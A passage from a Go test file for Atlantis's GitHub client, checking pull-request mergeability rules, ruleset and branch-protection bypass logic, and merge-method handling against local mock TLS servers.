string(jsBytes)\n\n\tfor _, c := range cases {\n\t\tt.Run(c.state, func(t *testing.T) {\n\t\t\tresponse := strings.Replace(prJSON,\n\t\t\t\t`\"mergeable_state\": \"clean\"`,\n\t\t\t\tfmt.Sprintf(`\"mergeable_state\": \"%s\"`, c.state),\n\t\t\t\t1,\n\t\t\t)\n\n\t\t\ttestServer := httptest.NewTLSServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.RequestURI {\n\t\t\t\t\tcase \"/api/v3/repos/owner/repo/pulls/1\":\n\t\t\t\t\t\tw.Write([]byte(response)) // nolint: errcheck\n\t\t\t\t\t\treturn\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}))\n\t\t\ttestServerURL, err := url.Parse(testServer.URL)\n\t\t\tOk(t, err)\n\t\t\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{\"user\", \"pass\", \"\"}, github.Config{}, 0, logging.NewNoopLogger(t))\n\t\t\tOk(t, err)\n\t\t\tdefer disableSSLVerification()()\n\n\t\t\tactMergeable, err := client.PullIsMergeable(\n\t\t\t\tlogger,\n\t\t\t\tmodels.Repo{\n\t\t\t\t\tFullName:          \"owner/repo\",\n\t\t\t\t\tOwner:             \"owner\",\n\t\t\t\t\tName:              \"repo\",\n\t\t\t\t\tCloneURL:          \"\",\n\t\t\t\t\tSanitizedCloneURL: \"\",\n\t\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\t\tType:     models.Github,\n\t\t\t\t\t\tHostname: \"github.com\",\n\t\t\t\t\t},\n\t\t\t\t}, models.PullRequest{\n\t\t\t\t\tNum: 1,\n\t\t\t\t}, vcsStatusName, []string{})\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.expMergeable, actMergeable)\n\t\t})\n\t}\n}\n\nfunc TestClient_PullIsMergeable_Draft(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tvcsStatusName := \"atlantis-test\"\n\n\t// Use a real GitHub json response and inject draft: true.\n\tjsBytes, err := os.ReadFile(\"testdata/pull-request.json\")\n\tOk(t, err)\n\tprJSON := string(jsBytes)\n\n\t// Inject draft: true.\n\t// We replace \"mergeable_state\": \"clean\" to ensure it's clean (so it would be mergeable otherwise)\n\t// and add \"draft\": true.\n\tresponse := strings.Replace(prJSON,\n\t\t`\"mergeable_state\": \"clean\"`,\n\t\t`\"mergeable_state\": \"clean\", \"draft\": true`,\n\t\t1,\n\t)\n\n\ttestServer := httptest.NewTLSServer(\n\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tswitch r.RequestURI {\n\t\t\tcase \"/api/v3/repos/owner/repo/pulls/1\":\n\t\t\t\tw.Write([]byte(response)) // nolint: errcheck\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\treturn\n\t\t\t}\n\t\t}))\n\ttestServerURL, err := url.Parse(testServer.URL)\n\tOk(t, err)\n\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{\"user\", \"pass\", \"\"}, github.Config{}, 0, logging.NewNoopLogger(t))\n\tOk(t, err)\n\tdefer disableSSLVerification()()\n\n\tactMergeable, err := client.PullIsMergeable(\n\t\tlogger,\n\t\tmodels.Repo{\n\t\t\tFullName:          \"owner/repo\",\n\t\t\tOwner:             \"owner\",\n\t\t\tName:              \"repo\",\n\t\t\tCloneURL:          \"\",\n\t\t\tSanitizedCloneURL: \"\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tType:     models.Github,\n\t\t\t\tHostname: \"github.com\",\n\t\t\t},\n\t\t}, models.PullRequest{\n\t\t\tNum: 1,\n\t\t}, vcsStatusName, []string{})\n\tOk(t, err)\n\tEquals(t, models.MergeableStatus{\n\t\tIsMergeable: false,\n\t\tReason:      \"PR is a draft\",\n\t}, actMergeable)\n}\n\nfunc TestClient_PullIsMergeableWithAllowMergeableBypassApply(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tvcsStatusName := \"atlantis\"\n\tignoreVCSStatusNames := []string{\"other-atlantis\"}\n\tcases := []struct {\n\t\tstate                     string\n\t\tstatusCheckRollupFilePath string\n\t\treviewDecision            string\n\t\texpMergeable              models.MergeableStatus\n\t}{\n\t\t{\n\t\t\t\"dirty\",\n\t\t\t\"ruleset-atlantis-apply-pending.json\",\n\t\t\t`\"REVIEW_REQUIRED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state dirty\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"unknown\",\n\t\t\t\"ruleset-atlantis-apply-pending.json\",\n\t\t\t`\"REVIEW_REQUIRED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state unknown\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-atlantis-apply-pending.json\",\n\t\t\t`\"REVIEW_REQUIRED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state blocked, and cannot bypass mergeable requirements\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-atlantis-apply-pending.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-atlantis-apply-pending.json\",\n\t\t\t\"null\",\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"behind\",\n\t\t\t\"ruleset-atlantis-apply-pending.json\",\n\t\t\t`\"REVIEW_REQUIRED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state behind\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"random\",\n\t\t\t\"ruleset-atlantis-apply-pending.json\",\n\t\t\t`\"REVIEW_REQUIRED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state random\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"unstable\",\n\t\t\t\"ruleset-atlantis-apply-pending.json\",\n\t\t\t`\"REVIEW_REQUIRED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"has_hooks\",\n\t\t\t\"ruleset-atlantis-apply-pending.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"clean\",\n\t\t\t\"ruleset-atlantis-apply-pending.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"\",\n\t\t\t\"ruleset-atlantis-apply-pending.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state <unknown>\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-atlantis-apply-expected.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-optional-check-failed.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-optional-status-failed.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-check-pending.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state blocked, and cannot bypass mergeable requirements\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-check-pending-other-atlantis.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-check-skipped.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-check-neutral.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-evaluate-workflow-failed.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"branch-protection-expected.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state blocked, and cannot bypass mergeable requirements\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"branch-protection-failed.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state blocked, and cannot bypass mergeable requirements\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"branch-protection-passed.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-check-expected.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state blocked, and cannot bypass mergeable requirements\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-check-failed.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state blocked, and cannot bypass mergeable requirements\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-check-failed-other-atlantis.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-check-passed.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-workflow-expected.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state blocked, and cannot bypass mergeable requirements\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-workflow-failed-first-check-successful.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state blocked, and cannot bypass mergeable requirements\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-workflow-failed.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state blocked, and cannot bypass mergeable requirements\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-workflow-passed.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-workflow-passed-multiple-runs.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-workflow-passed-sha-match.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-workflow-passed-sha-mismatch.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state blocked, and cannot bypass mergeable requirements\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\t\"ruleset-workflow-passed-with-global-codeql.json\",\n\t\t\t`\"APPROVED\"`,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t}\n\n\t// Use a real GitHub json response and edit the mergeable_state field.\n\tjsBytes, err := os.ReadFile(\"testdata/pull-request.json\")\n\tOk(t, err)\n\tprJSON := string(jsBytes)\n\n\tjsBytes, err = os.ReadFile(\"testdata/pull-request-mergeability/repository-id.json\")\n\tOk(t, err)\n\trepoIdJSON := string(jsBytes)\n\n\tfor _, c := range cases {\n\t\tt.Run(fmt.Sprintf(\"%s-%s\", c.state, c.statusCheckRollupFilePath), func(t *testing.T) {\n\t\t\tresponse := strings.Replace(prJSON,\n\t\t\t\t`\"mergeable_state\": \"clean\"`,\n\t\t\t\tfmt.Sprintf(`\"mergeable_state\": \"%s\"`, c.state),\n\t\t\t\t1,\n\t\t\t)\n\n\t\t\t// PR review decision and checks statuses Response\n\t\t\tjsBytes, err = os.ReadFile(\"testdata/pull-request-mergeability/\" + c.statusCheckRollupFilePath)\n\t\t\tOk(t, err)\n\t\t\tprMergeableStatusJSON := string(jsBytes)\n\n\t\t\t// PR review decision and checks statuses Response\n\t\t\tprMergeableStatus := strings.Replace(prMergeableStatusJSON,\n\t\t\t\t`\"reviewDecision\": null,`,\n\t\t\t\tfmt.Sprintf(`\"reviewDecision\": %s,`, c.reviewDecision),\n\t\t\t\t1,\n\t\t\t)\n\n\t\t\ttestServer := httptest.NewTLSServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.RequestURI {\n\t\t\t\t\tcase \"/api/v3/repos/octocat/repo/pulls/1\":\n\t\t\t\t\t\tw.Write([]byte(response)) // nolint: errcheck\n\t\t\t\t\t\treturn\n\t\t\t\t\tcase \"/api/graphql\":\n\t\t\t\t\t\tbody, err := io.ReadAll(r.Body)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tt.Errorf(\"read body error: %v\", err)\n\t\t\t\t\t\t\thttp.Error(w, \"\", http.StatusInternalServerError)\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif strings.Contains(string(body), \"pullRequest(\") {\n\t\t\t\t\t\t\tw.Write([]byte(prMergeableStatus)) // nolint: errcheck\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t} else if strings.Contains(string(body), \"databaseId\") {\n\t\t\t\t\t\t\tw.Write([]byte(repoIdJSON)) // nolint: errcheck\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t\treturn\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}))\n\t\t\ttestServerURL, err := url.Parse(testServer.URL)\n\t\t\tOk(t, err)\n\t\t\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{\"user\", \"pass\", \"\"}, github.Config{AllowMergeableBypassApply: true}, 0, logging.NewNoopLogger(t))\n\t\t\tOk(t, err)\n\t\t\tdefer disableSSLVerification()()\n\n\t\t\tactMergeable, err := client.PullIsMergeable(\n\t\t\t\tlogger,\n\t\t\t\tmodels.Repo{\n\t\t\t\t\tFullName:          \"octocat/repo\",\n\t\t\t\t\tOwner:             \"octocat\",\n\t\t\t\t\tName:              \"repo\",\n\t\t\t\t\tCloneURL:          \"\",\n\t\t\t\t\tSanitizedCloneURL: \"\",\n\t\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\t\tType:     models.Github,\n\t\t\t\t\t\tHostname: \"github.com\",\n\t\t\t\t\t},\n\t\t\t\t}, models.PullRequest{\n\t\t\t\t\tNum: 1,\n\t\t\t\t}, vcsStatusName, ignoreVCSStatusNames)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.expMergeable, actMergeable)\n\t\t})\n\t}\n}\n\nfunc TestClient_MergePullHandlesError(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcases := []struct {\n\t\tcode    int\n\t\tmessage string\n\t\tmerged  string\n\t\texpErr  string\n\t}{\n\t\t{\n\t\t\tcode:    200,\n\t\t\tmessage: \"Pull Request successfully merged\",\n\t\t\tmerged:  \"true\",\n\t\t\texpErr:  \"\",\n\t\t},\n\t\t{\n\t\t\tcode:    405,\n\t\t\tmessage: \"Pull Request is not mergeable\",\n\t\t\texpErr:  \"405 Pull Request is not mergeable []\",\n\t\t},\n\t\t{\n\t\t\tcode:    409,\n\t\t\tmessage: \"Head branch was modified. Review and try the merge again.\",\n\t\t\texpErr:  \"409 Head branch was modified. Review and try the merge again. []\",\n\t\t},\n\t}\n\n\tjsBytes, err := os.ReadFile(\"testdata/repo.json\")\n\tOk(t, err)\n\n\tfor _, c := range cases {\n\t\tt.Run(c.message, func(t *testing.T) {\n\t\t\ttestServer := httptest.NewTLSServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.RequestURI {\n\t\t\t\t\tcase \"/api/v3/repos/owner/repo\":\n\t\t\t\t\t\tw.Write(jsBytes) // nolint: errcheck\n\t\t\t\t\t\treturn\n\t\t\t\t\tcase \"/api/v3/repos/owner/repo/pulls/1/merge\":\n\t\t\t\t\t\tbody, err := io.ReadAll(r.Body)\n\t\t\t\t\t\tOk(t, err)\n\t\t\t\t\t\texp := \"{\\\"merge_method\\\":\\\"merge\\\"}\\n\"\n\t\t\t\t\t\tEquals(t, exp, string(body))\n\t\t\t\t\t\tvar resp string\n\t\t\t\t\t\tif c.code == 200 {\n\t\t\t\t\t\t\tresp = fmt.Sprintf(`{\"message\":\"%s\",\"merged\":%s}%s`, c.message, c.merged, \"\\n\")\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tresp = fmt.Sprintf(`{\"message\":\"%s\"}%s`, c.message, \"\\n\")\n\t\t\t\t\t\t}\n\t\t\t\t\t\tdefer r.Body.Close() // nolint: errcheck\n\t\t\t\t\t\tw.WriteHeader(c.code)\n\t\t\t\t\t\tw.Write([]byte(resp)) // nolint: errcheck\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}))\n\n\t\t\ttestServerURL, err := url.Parse(testServer.URL)\n\t\t\tOk(t, err)\n\t\t\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{\"user\", \"pass\", \"\"}, github.Config{}, 0, logging.NewNoopLogger(t))\n\t\t\tOk(t, err)\n\t\t\tdefer disableSSLVerification()()\n\n\t\t\terr = client.MergePull(\n\t\t\t\tlogger,\n\t\t\t\tmodels.PullRequest{\n\t\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\t\tFullName:          \"owner/repo\",\n\t\t\t\t\t\tOwner:             \"owner\",\n\t\t\t\t\t\tName:              \"repo\",\n\t\t\t\t\t\tCloneURL:          \"\",\n\t\t\t\t\t\tSanitizedCloneURL: \"\",\n\t\t\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\t\t\tType:     models.Github,\n\t\t\t\t\t\t\tHostname: \"github.com\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tNum: 1,\n\t\t\t\t}, models.PullRequestOptions{\n\t\t\t\t\tDeleteSourceBranchOnMerge: false,\n\t\t\t\t})\n\n\t\t\tif c.expErr == \"\" {\n\t\t\t\tOk(t, err)\n\t\t\t} else {\n\t\t\t\tErrContains(t, c.expErr, err)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Test that if the pull request only allows a certain merge method that we\n// use that method\nfunc TestClient_MergePullCorrectMethod(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcases := map[string]struct {\n\t\tallowMerge        bool\n\t\tallowRebase       bool\n\t\tallowSquash       bool\n\t\tmergeMethodOption string\n\t\texpMethod         string\n\t\texpErr            string\n\t}{\n\t\t\"all true\": {\n\t\t\tallowMerge:  true,\n\t\t\tallowRebase: true,\n\t\t\tallowSquash: true,\n\t\t\texpMethod:   \"merge\",\n\t\t},\n\t\t\"all false (edge case)\": {\n\t\t\tallowMerge:  false,\n\t\t\tallowRebase: false,\n\t\t\tallowSquash: false,\n\t\t\texpMethod:   \"merge\",\n\t\t},\n\t\t\"merge: false rebase: true squash: true\": {\n\t\t\tallowMerge:  false,\n\t\t\tallowRebase: true,\n\t\t\tallowSquash: true,\n\t\t\texpMethod:   \"rebase\",\n\t\t},\n\t\t\"merge: false rebase: false squash: true\": {\n\t\t\tallowMerge:  false,\n\t\t\tallowRebase: false,\n\t\t\tallowSquash: true,\n\t\t\texpMethod:   \"squash\",\n\t\t},\n\t\t\"merge: false rebase: true squash: false\": {\n\t\t\tallowMerge:  false,\n\t\t\tallowRebase: true,\n\t\t\tallowSquash: false,\n\t\t\texpMethod:   \"rebase\",\n\t\t},\n\t\t\"all true: merge with merge: overridden by command\": {\n\t\t\tallowMerge:        true,\n\t\t\tallowRebase:       true,\n\t\t\tallowSquash:       true,\n\t\t\tmergeMethodOption: \"merge\",\n\t\t\texpMethod:         \"merge\",\n\t\t},\n\t\t\"all true: merge with rebase: overridden by command\": {\n\t\t\tallowMerge:        true,\n\t\t\tallowRebase:       true,\n\t\t\tallowSquash:       true,\n\t\t\tmergeMethodOption: \"rebase\",\n\t\t\texpMethod:         \"rebase\",\n\t\t},\n\t\t\"all true: merge with squash: overridden by command\": {\n\t\t\tallowMerge:        true,\n\t\t\tallowRebase:       true,\n\t\t\tallowSquash:       true,\n\t\t\tmergeMethodOption: \"squash\",\n\t\t\texpMethod:         \"squash\",\n\t\t},\n\t\t\"merge with merge: overridden by command: merge not allowed\": {\n\t\t\tallowMerge:        false,\n\t\t\tallowRebase:       true,\n\t\t\tallowSquash:       true,\n\t\t\tmergeMethodOption: \"merge\",\n\t\t\texpMethod:         \"\",\n\t\t\texpErr:            \"merge method 'merge' is not allowed by the repository Pull Request settings\",\n\t\t},\n\t\t\"merge with rebase: overridden by command: rebase not allowed\": {\n\t\t\tallowMerge:        true,\n\t\t\tallowRebase:       false,\n\t\t\tallowSquash:       true,\n\t\t\tmergeMethodOption: \"rebase\",\n\t\t\texpMethod:         \"\",\n\t\t\texpErr:            \"merge method 'rebase' is not allowed by the repository Pull Request settings\",\n\t\t},\n\t\t\"merge with squash: overridden by command: squash not allowed\": {\n\t\t\tallowMerge:        true,\n\t\t\tallowRebase:       true,\n\t\t\tallowSquash:       false,\n\t\t\tmergeMethodOption: \"squash\",\n\t\t\texpMethod:         \"\",\n\t\t\texpErr:            \"merge method 'squash' is not allowed by the repository Pull Request settings\",\n\t\t},\n\t\t\"merge with unknown: overridden by command: unknown doesn't exist\": {\n\t\t\tallowMerge:        true,\n\t\t\tallowRebase:       true,\n\t\t\tallowSquash:       true,\n\t\t\tmergeMethodOption: \"unknown\",\n\t\t\texpMethod:         \"\",\n\t\t\texpErr:            \"merge method 'unknown' is unknown. Specify one of the valid values: 'merge, rebase, squash'\",\n\t\t},\n\t}\n\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\n\t\t\t// Modify response.\n\t\t\tjsBytes, err := os.ReadFile(\"testdata/repo.json\")\n\t\t\tOk(t, err)\n\t\t\tresp := string(jsBytes)\n\t\t\tresp = strings.ReplaceAll(resp,\n\t\t\t\t`\"allow_squash_merge\": true`,\n\t\t\t\tfmt.Sprintf(`\"allow_squash_merge\": %t`, c.allowSquash),\n\t\t\t)\n\t\t\tresp = strings.ReplaceAll(resp,\n\t\t\t\t`\"allow_merge_commit\": true`,\n\t\t\t\tfmt.Sprintf(`\"allow_merge_commit\": %t`, c.allowMerge),\n\t\t\t)\n\t\t\tresp = strings.ReplaceAll(resp,\n\t\t\t\t`\"allow_rebase_merge\": true`,\n\t\t\t\tfmt.Sprintf(`\"allow_rebase_merge\": %t`, c.allowRebase),\n\t\t\t)\n\n\t\t\ttestServer := httptest.NewTLSServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.RequestURI {\n\t\t\t\t\tcase \"/api/v3/repos/runatlantis/atlantis\":\n\t\t\t\t\t\tw.Write([]byte(resp)) // nolint: errcheck\n\t\t\t\t\t\treturn\n\t\t\t\t\tcase \"/api/v3/repos/runatlantis/atlantis/pulls/1/merge\":\n\t\t\t\t\t\tbody, err := io.ReadAll(r.Body)\n\t\t\t\t\t\tOk(t, err)\n\t\t\t\t\t\tdefer r.Body.Close() // nolint: errcheck\n\t\t\t\t\t\ttype bodyJSON struct {\n\t\t\t\t\t\t\tMergeMethod string `json:\"merge_method\"`\n\t\t\t\t\t\t}\n\t\t\t\t\t\texpBody := bodyJSON{\n\t\t\t\t\t\t\tMergeMethod: c.expMethod,\n\t\t\t\t\t\t}\n\t\t\t\t\t\texpBytes, err := json.Marshal(expBody)\n\t\t\t\t\t\tOk(t, err)\n\t\t\t\t\t\tEquals(t, string(expBytes)+\"\\n\", string(body))\n\n\t\t\t\t\t\tresp := `{\"sha\":\"6dcb09b5b57875f334f61aebed695e2e4193db5e\",\"merged\":true,\"message\":\"Pull Request successfully merged\"}`\n\t\t\t\t\t\tw.Write([]byte(resp)) // nolint: errcheck\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}))\n\n\t\t\ttestServerURL, err := url.Parse(testServer.URL)\n\t\t\tOk(t, err)\n\t\t\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{\"user\", \"pass\", \"\"}, github.Config{}, 0, logging.NewNoopLogger(t))\n\t\t\tOk(t, err)\n\t\t\tdefer disableSSLVerification()()\n\n\t\t\terr = client.MergePull(\n\t\t\t\tlogger,\n\t\t\t\tmodels.PullRequest{\n\t\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\t\tFullName:          \"runatlantis/atlantis\",\n\t\t\t\t\t\tOwner:             \"runatlantis\",\n\t\t\t\t\t\tName:              \"atlantis\",\n\t\t\t\t\t\tCloneURL:          \"\",\n\t\t\t\t\t\tSanitizedCloneURL: \"\",\n\t\t\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\t\t\tType:     models.Github,\n\t\t\t\t\t\t\tHostname: \"github.com\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tNum: 1,\n\t\t\t\t}, models.PullRequestOptions{\n\t\t\t\t\tDeleteSourceBranchOnMerge: false,\n\t\t\t\t\tMergeMethod:               c.mergeMethodOption,\n\t\t\t\t})\n\n\t\t\tif c.expErr == \"\" {\n\t\t\t\tOk(t, err)\n\t\t\t} else {\n\t\t\t\tErrContains(t, c.expErr, err)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestClient_MarkdownPullLink(t *testing.T) {\n\tclient, err := github.New(\"hostname\", &github.UserCredentials{\"user\", \"pass\", \"\"}, github.Config{}, 0, logging.NewNoopLogger(t))\n\tOk(t, err)\n\tpull := models.PullRequest{Num: 1}\n\ts, _ := client.MarkdownPullLink(pull)\n\texp := \"#1\"\n\tEquals(t, exp, s)\n}\n\n// disableSSLVerification disables ssl verification for the global http client\n// and returns a function to be called in a defer that will re-enable it.\nfunc disableSSLVerification() func() {\n\torig := 